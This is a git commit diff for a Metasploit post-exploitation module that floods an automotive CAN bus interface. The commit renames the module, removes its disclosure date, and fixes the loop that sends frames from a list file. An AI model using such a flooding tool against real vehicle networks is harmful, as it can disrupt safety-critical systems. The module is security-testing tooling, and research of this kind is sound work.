1) changed print_status with vprint_status 2) Fix iterations and line splits 3) Changed name of the module 4) removed DisclosureDate
parent
ce218fc86a
commit
cb7b9080bd
|
@ -7,11 +7,10 @@ class MetasploitModule < Msf::Post
|
||||||
super(
|
super(
|
||||||
update_info(
|
update_info(
|
||||||
info,
|
info,
|
||||||
'Name' => 'can_flood',
|
'Name' => 'CAN Flood',
|
||||||
'Description' => 'Module that floods a CAN interface',
|
'Description' => 'Module that floods a CAN interface',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => ['Pietro Biondi'],
|
'Author' => ['Pietro Biondi'],
|
||||||
'DisclosureDate' => ['March 20 2019'],
|
|
||||||
'Platform' => ['hardware'],
|
'Platform' => ['hardware'],
|
||||||
'SessionTypes' => ['hwbridge']
|
'SessionTypes' => ['hwbridge']
|
||||||
)
|
)
|
||||||
|
@ -26,17 +25,17 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status(' -- OPENING FRAMELIST FILE --')
|
vprint_status("Reading frame list file: #{datastore['FRAMELIST']}")
|
||||||
unless ::File.exist? datastore['FRAMELIST']
|
unless ::File.exist? datastore['FRAMELIST']
|
||||||
print_error "Frame list file '#{datastore['FRAMELIST']}' does not exist"
|
print_error "Frame list file '#{datastore['FRAMELIST']}' does not exist"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
lines = File.readlines(datastore['FRAMELIST']).map { |line| line.strip }
|
lines = File.readlines(datastore['FRAMELIST']).map { |line| line.strip }
|
||||||
print_status(' -- FLOODING -- ')
|
print_status(' -- FLOODING -- ')
|
||||||
(0..datastore['ROUND_NUMBER']).each do
|
(datastore['ROUND_NUMBER']).times do
|
||||||
for i in 0..lines.length - 1
|
lines.each do |line|
|
||||||
frame = lines.map { |s| s.split('+') }
|
frame = line.split('+')
|
||||||
client.automotive.cansend(datastore['CANBUS'], frame[i][0], frame[i][1])
|
client.automotive.cansend(datastore['CANBUS'], frame[0], frame[1])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue